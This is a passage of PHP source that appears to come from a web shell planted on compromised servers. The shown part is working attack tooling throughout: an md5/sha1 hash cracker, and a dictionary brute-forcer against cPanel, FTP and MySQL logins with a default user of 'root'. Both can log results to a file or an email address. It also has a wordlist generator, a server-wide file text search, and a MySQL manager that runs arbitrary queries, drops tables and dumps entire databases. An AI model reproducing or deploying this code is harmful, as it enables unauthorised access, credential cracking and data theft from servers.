echo '<br><table align=center><form name="hashcracker" method=POST><tr><td colspan=2 align=left bgcolor="#666666"><label style="color:#cccccc"> Hash Cracker </label></td></tr><tr><td bgcolor="#808080"> <label> Hash </label> </td><td bgcolor="#808080"> <input type="text" name="hashtxt" size="48" value="'.md5("Xanir").'"> </td></tr><tr><td bgcolor="#666666"> <label> Password Length </label> </td><td bgcolor="#666666"> <label>Min</label> <input type="text" name="minpasswd" size="5" value="3">'.ws(2).'<label>Max</label> <input type="text" name="maxpasswd" size="5" value="6">'.ws(4).'<label> Hash Type </label><select name="hashtype">';
if(is_callable('md5')){echo '<option value="md5">md5</option>';}
if(is_callable('sha1')){echo '<option value="sha1">sha1</option>';}
echo '</select> </td></tr><tr><td bgcolor="#808080"> <label> Password Log </label> </td><td bgcolor="#808080" colspan=3> <select name="logtype" onchange="if(document.hashcracker.logtype.value==\'file\'){document.hashcracker.logfile.value=\'log.txt\';}else if(document.hashcracker.logtype.value==\'email\'){document.hashcracker.logfile.value=\'[email protected]\';}"><option value="file">File</option><option value="email">Email</option></select> <input type="text" name="logfile" size="25" value="log.txt"> <input type="submit" name="crackhash" value="Crack It"> </td></tr></form></table>'.$footer;
die();
}
if (isset($act) && $act == "brute") {
if(isset($_POST['crackIt'])){
list($brute_server,$brute_port) = split(":",$_POST['Brute_server']);
$connect_timeout=10;
$dictionary=fopen($_POST['dictionary'],'r');
if($dictionary){
while(!feof($dictionary)){
$password=trim(fgets($dictionary)," \n");
Brute_Force($brute_server, $brute_port, $connect_timeout, trim($_POST['Brute_user']), trim($password), $_POST['brute_type'], $_POST['logType'], $_POST['logfile']);
}
fclose($dictionary);
 }
}
echo '<br><table align="center" width="294px"><form name="Brute" method="POST"><tbody><tr><td colspan=2 bgcolor="#666666"><label>Brute Forcer:</label> <input type="radio" value="cpanel" name="brute_type" onClick="document.Brute.Brute_server.value=\'127.0.0.1:2082\';" checked><label>cpanel</label><input type="radio" value="ftp" name="brute_type" onClick="document.Brute.Brute_server.value=\'127.0.0.1:21\';"><label>ftp</label><input type="radio" value="mysql" name="brute_type" onClick="document.Brute.Brute_server.value=\'127.0.0.1:3306\';"><label>MySQL</label></td></tr><tr><td bgcolor="#808080" width="20%"><label>Dictionary:</label></td><td bgcolor="#808080"><input name="dictionary" size="35" type="text" value="'.((isset($_POST['dictionary']))?($_POST['dictionary']):('wordlist.txt')).'"></td></tr><tr><td bgcolor="#666666" width="20%"><label>Username:</label></td><td bgcolor="#666666"><input size="35" value="'.((isset($_POST['Brute_user']))?($_POST['Brute_user']):('root')).'" name="Brute_user" type="text"></td></tr><tr><td bgcolor="#808080" width="20%"><label>Server:</label></td><td bgcolor="#808080"><input name="Brute_server" value="'.((isset($_POST['Brute_server']))?($_POST['Brute_server']):('127.0.0.1:2082')).'" size="35" type="text"></td></tr><tr><td bgcolor="#666666" width="20%"><label>Log</label><select name="logType" onchange="if(document.Brute.logType.value==\'file\'){document.Brute.logfile.value=\'log.txt\';}else if(document.Brute.logType.value==\'email\'){document.Brute.logfile.value=\'[email protected]\';}"><option value="file">File</option><option value="email">Email</option></select><td bgcolor="#666666"><input name="logfile" size="25" value="'.((isset($_POST['logfile']))?($_POST['logfile']):('log.txt')).'" type="text"> <input value="Start" name=crackIt type="submit"></td></tr></tbody></form></table>'.$footer;
die();
}
if (isset($act) && $act == "dic") {
if(isset($_POST['charsetsubmit'])){
global $charset ,$charset_length ;
if(isset($_POST['charsetAlpaMaj'])) $charset .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
if(isset($_POST['charsetAlpaMin'])) $charset .= 'abcdefghijklmnopqrstuvwxyz';
if(isset($_POST['charsetNum'])) $charset .= '0123456789';
if(isset($_POST['charsetOther'])) $charset .= '~`!@#$%^&*()-_\/\'";:,.+=<> ?';
$charset_length = strlen($charset);
$width = $_POST['charsetMin'];
if(file_exists($_POST['charsetOutput'])) @unlink($_POST['charsetMax']);
for($width; $width < $_POST['charsetMax']+1; ++$width)
dicgenerator($width, 0, '',$_POST['charsetOutput']);
if(file_exists($_POST['charsetOutput'])) echo '<br><div align="center"><label>Wordlist saved: '.$_POST['charsetOutput'].'</label></div>';
}
echo '<br><table align="center" width="267"><form method="POST"><tr bgcolor="#666666"><td><label>Wordlist Generator</label></td></tr><tr bgcolor="#808080"><td><input type="checkbox" name="charsetAlpaMaj" checked><label>ABCDEFGHIJKLMNOPQRSTUVWXYZ</label><br><input type="checkbox" name="charsetAlpaMin" checked><label>abcdefghijklmnopqrstuvwxyz</label><br><input type="checkbox" name="charsetNum" checked><label>0123456789</label><br><input type="checkbox" name="charsetOther" checked><label>~`!@#$%^&*()-_\/\'";:,.+=<> ?</label></td></tr><tr bgcolor="#666666"><td><label>Charset Min</label> <input type="text" name="charsetMin" value="'.((!empty($_POST['charsetMin']))?($_POST['charsetMin']):('3')).'" size="5">'.ws(3).'<label>Charset Max</label> <input type="text" name="charsetMax" value="5" size="'.((!empty($_POST['charsetMax']))?($_POST['charsetMax']):('5')).'"></td></tr><tr bgcolor="#808080"><td><label>Output</label> <input type="text" name="charsetOutput" size="34" value="'.tmpdir().(($windows)?('\wordlist.dic'):('/wordlist.dic')).'"></td></tr><tr bgcolor="#666666"><td align="right"><input type="submit" name="charsetsubmit" value="Make"></td></tr></table>'.$footer;
die();
}
if (isset($act) && $act == "search_text") {
    if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
    else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
    $sr->SearchText(0,0);
    $res = $sr->GetResultFiles();
    $found = $sr->GetMatchesCount();
    $titles = $sr->GetTitles();
    $r = "";
    if($found > 0)
    {
      $r .= '<TABLE width=100% name="select">';
      foreach($res as $file=>$v)
      {
        $r .= '<TR bgcolor="#111111">';
        $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
        $r .= ($windows)? str_replace("/","\\",$file) : $file;
        $r .= "</b></font></ TD>";
        $r .= "</TR>";
        foreach($v as $a=>$b)
        {
          $r .= "<TR>";
          $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
          $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
          $r .= "</TR>\n";
        }
      }
      $r .= "</TABLE>";
    echo $r;
    }else{
      echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  }
}
if (isset($act) && $act == "sql") {
$sql_surl = $surl."act=sql";
  if (isset($sql_login))  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if (isset($sql_passwd)) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if (isset($sql_server)) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if (isset($sql_port))   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if (isset($sql_db))     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<table class=\"sql\"><tr><td colspan=2>";
  if (isset($sql_server)) {
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror($sql_sock);
    @mysql_select_db($sql_db,$sql_sock);
    if (isset($sql_query) and isset($submit)) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  if (!$sql_sock) {
    if (isset($sql_server)) {echo "<label>Can't connect! </label>".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] = array("Home",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
	$sqlquicklaunch[] = array("Enumeration",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=enum");    
    if(isset($sql_tbl)) $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
    $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
    $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
    $sqlquicklaunch[] = array("Logout",$surl."act=sql");
	echo "<div style=\"background-color: #111111;\">";
   	if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo ws(2)."<a href=\"".$item[1]."\"><label class=\"table_list\" style=\"color:#cccccc;text-decoration:underline;\">".$item[0]."</label></a>".ws(2);}}
	echo "</div>";
  }
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td colspan=\"2\">";
    echo "<br><table align=\"center\" style=\"border:0; width:250px;\"><tr><td bgcolor=\"#666666\" align=\"center\"><table class=\"sql\"><tr><td colspan=3 bgcolor=\"#666666\"><label>MySQL Database Manager</label></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td bgcolor=\"#808080\"><label>Host</label></td><td bgcolor=\"#808080\" align=left><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\" size=\"21\"></td><td bgcolor=\"#808080\"><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td></tr><tr><td bgcolor=\"#666666\"><label>Username</label></td><td bgcolor=\"#666666\" colspan=2><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\" size=\"27\"></td></tr><tr><td bgcolor=\"#808080\"><label>Password</label></td><td bgcolor=\"#808080\" colspan=2><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\" size=\"27\"></td></tr><tr><td bgcolor=\"#666666\"><label>Database</label></td><td bgcolor=\"#666666\" colspan=2><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\" size=\"27\"></td></tr><tr><td bgcolor=\"#808080\" align=\"right\" colspan=3><input type=\"submit\" value=\"Connect\"></td></tr></table></form></td>";
  }
  else {
    if (!empty($sql_db)) {
      ?><td width="25%" height="100%" valign="top">
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "<label style=\"color:#cccccc;\">[ ".htmlspecialchars($sql_db)." ]</label><hr size=\"1\" noshade>";
        $c = 0;
        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\" title=".htmlspecialchars($row[0])."><label class=\"table_list\">".((strlen(htmlspecialchars($row[0]))>15)?(substr(htmlspecialchars($row[0]),0,15).'..'):(htmlspecialchars($row[0])))."</label></a><font color=#ffffff size=-2>(".$count_row[0].")</font></br>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "<label>No tables found in database.</label>";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top">
      <?php
      $result = mysql_list_dbs($sql_sock);
      if (!$result) {echo mysql_smarterror();}
      else {
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
        <?php
        $c = 0;
        $dbs = "";
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
        echo "<option value=\"\">Databases (".$c.")</option>";
        echo $dbs;
      }
      ?></select><input type="submit" value="Go"></form>
      <?php
    }
    echo "</td><td width=\"100%\" valign=\"top\">";
    $diplay = TRUE;
    if (isset($sql_db)) {
      if (!is_numeric($c)) {$c = 0;}
      if ($c == 0) {$c = "no";}
      echo "<center><label>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").</label><br>";
      if (isset($dbquicklaunch) && count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
      echo "</b></center>";
      $acts = array("","dump");
      if (isset($sql_act) && $sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
      elseif (isset($sql_act) && $sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif (isset($sql_act) && $sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
      elseif (isset($sql_tbl_act) && $sql_tbl_act == "insert") {
        if ($sql_tbl_insert_radio == 1) {
          $keys = "";
          $akeys = array_keys($sql_tbl_insert);
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
          $values = "";
          $i = 0;
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
        elseif ($sql_tbl_insert_radio == 2) {
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
          $result = mysql_query($sql_query) or print(mysql_smarterror());
          $result = mysql_fetch_array($result, MYSQL_ASSOC);
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
      }
      if (isset($sql_act) && $sql_act == "query") {
        echo "<hr size=\"1\" noshade>";
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<label>Error:</label> <br>".$sql_query_error."<br>";}
        if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
        if ((!$submit) or ($sql_act)) {echo "<table style=\"border:0;width:100%;height:1;\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "<label>Do you really want to:<label>";} else {echo "<label>SQL-Query :</label>";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
      }
      if (@in_array($sql_act,$acts)) {
        ?><table style="border:0;width:100%;height:1;"><tr><td width="40%" height="1"><label>Create new table:</label>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="newtbl">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
        <input type="text" name="sql_newtbl" size="20">
        <input type="submit" value="Create">
        </form></td>
        <td width="60%" height="1"><label>Dump Database:</label>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="dump">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="50" value="<?php echo getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
        <?php
        if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
        if (isset($sql_act) && $sql_act == "newtbl") {
          echo "<b>";
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
            echo "<label>DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</label><br>";
          }
          else {echo "<label>Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> </label>".mysql_smarterror();}
        }elseif (isset($sql_act) && $sql_act == "dump") {
          if (empty($submit)) {
            $diplay = FALSE;
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><label>SQL-Dump:</label><br><br>";
            echo "<label>Database:</label> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
            $v = join (";",$dmptbls);
            echo "<label>Only tables (explode \";\")&nbsp;<label><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
            if ($dump_file) {$tmp = $dump_file;}
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
            echo "<label>File:</label>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
            echo "<label>View Dumped File: </label>&nbsp;<input type=\"checkbox\" name=\"sql_dump_view\" value=\"1\" checked><br><br>";
            echo "<label>Save to file: </label>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br> - <label>all, if empty</label>";
            echo "</form>";
          }
          else {
            $diplay = TRUE;
            $set = array();
            $set["sock"] = $sql_sock;
            $set["db"] = $sql_db;
            $dump_out = "download";
            $set["print"] = 0;
            $set["nl2br"] = 0;
            $set[""] = 0;
            $set["file"] = $dump_file;
            $set["add_drop"] = TRUE;
            $set["onlytabs"] = array();
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
            $ret = mysql_dump($set);
            if ($sql_dump_view) {
			echo "<textarea name=\"edit_text\" cols=\"100%\" rows=\"15\">".htmlspecialchars($ret)."</textarea>";
            }
            elseif ($sql_dump_savetofile) {
              $fp = fopen($sql_dump_file,"w");
              if (!$fp) {echo "<label>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!</label>";}
              else {
                fwrite($fp,$ret);
                fclose($fp);
                echo "<label>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</label>.";
              }
            }
            else {echo "<label>Dump: nothing to do!</label>";}
          }
        }
        if ($diplay) {
    if (!empty($sql_tbl)) {
      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
      $count_row = mysql_fetch_array($count);
      mysql_free_result($count);
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
      $tbl_struct_fields = array();
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
      if (isset($sql_ls) && $sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
      $perpage = $sql_tbl_le - $sql_tbl_ls;
      if (!is_numeric($perpage)) {$perpage = 10;}
      $numpages = $count_row[0]/$perpage;
      $e = explode(" ",$sql_order);
      if (count($e) == 2) {
        if ($e[0] == "d") {$asc_desc = "DESC";}
        else {$asc_desc = "ASC";}
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
      }
      else {$v = "";}
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
      $result = mysql_query($query) or print(mysql_smarterror());
      echo "<hr size=\"1\" noshade><center><label>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</label></center>".ws(2);
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\"><label class=\"table_list\" style=\"color:#cccccc;text-decoration:underline;\"> Browse </label></a>".ws(2);
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\"><label class=\"table_list\" style=\"color:#cccccc;text-decoration:underline;\"> Dump </label></a>".ws(2);
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\"><label class=\"table_list\" style=\"color:#cccccc;text-decoration:underline;\"> Insert </label></a>";
      
      if ($sql_tbl_act == "insert") {
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
        if (!empty($sql_tbl_insert_radio)) {  } 
        else {
          echo "<br><br><label>Inserting row into table:</label><br>";
          if (!empty($sql_tbl_insert_q)) {
            $sql_query = "SELECT * FROM `".$sql_tbl."`";
            $sql_query .= " WHERE".$sql_tbl_insert_q;
            $sql_query .= " LIMIT 1;";
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
            $values = mysql_fetch_assoc($result);
            mysql_free_result($result);
          }
          else {$values = array();}
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><label>Field</label></td><td><label>Type</label></td><td><label>Function</label></td><td><label>Value</label></td></tr>";
          foreach ($tbl_struct_fields as $field) {
            $name = $field["Field"];
            if (empty($sql_tbl_insert_q)) {$v = "";}
            echo "<tr><td><label>".htmlspecialchars($name)."</label></td><td><label>".$field["Type"]."</label></td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
            $i++;
          }
          echo "</table><br>";
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><label>Insert as new row</label>";
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><label>Save</label>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
        }
      }
      if ($sql_tbl_act == "browse") {
        $sql_tbl_ls = abs($sql_tbl_ls);
        $sql_tbl_le = abs($sql_tbl_le);
        echo "<hr size=\"1\" noshade>";
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><label>From:</label>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<label>To:</label>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
        $b = 0;
        for($i=0;$i<$numpages;$i++) {
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\">";}
          echo "<label class=\"table_list\" style=\"\">".$i."</label>";
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</a>";}
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
          else {echo "&nbsp;";}
        }
        if ($i == 0) {echo "<label>empty<label>";}
	    echo "<br><form method=\"POST\"><TABLE name=\"select\" style=\"border:0;\">";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<th>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><label class=\"table_list\" style=\"color:#cccccc;\">".$v."</label></a>";}
          else {echo "<label>".$v."</label><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20 ".$v."\"><img src=".$_SERVER['PHP_SELF']."?img=1></a>";}
          echo "</th>";
        }
      echo "<th><label style=\"color:#cccccc\">Action<label></th>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
